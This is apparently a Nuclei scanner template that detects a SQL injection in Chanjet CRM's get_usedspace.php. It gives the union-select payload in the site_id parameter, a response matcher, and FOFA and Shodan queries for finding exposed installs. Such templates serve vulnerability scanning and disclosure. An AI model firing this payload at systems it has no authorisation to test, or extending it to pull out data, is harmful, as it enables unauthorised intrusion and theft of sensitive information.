id: chanjet-crm-sqli

info:
  name: Chanjet CRM - SQL Injection
  author: luckying1314@139.com
  severity: high
  description: |
    SQL injection exists in the Chanjet CRM get_usedspace.php, and sensitive information can be obtained through the vulnerability.
  reference:
    - https://www.chanjet.com/
  classification:
    cwe-id: CWE-89
  metadata:
    max-request: 1
    vendor: chanjet
    product: chanjet CRM
    fofa-query: 'title="畅捷CRM"'
    shodan-query: 'title:"畅捷CRM"'
  tags: sqli,chanjet,crm

variables:
  num: '999999999'

http:
  - method: GET
    path:
      - "{{BaseURL}}/webservice/get_usedspace.php?site_id=-1%20and%201=2%20union%20all%20select%20(md5({{num}}))"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<result>{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022022d6c0fe00ade1cc5df45236ba21710cc9201f94165fe9f505aa79604342f81302205cb5cc7ae5dc0b53ddfb38a2f72eadb598d97471c9103c63ea9fef965e3b795b:922c64590222798bb761d5b6d8e72950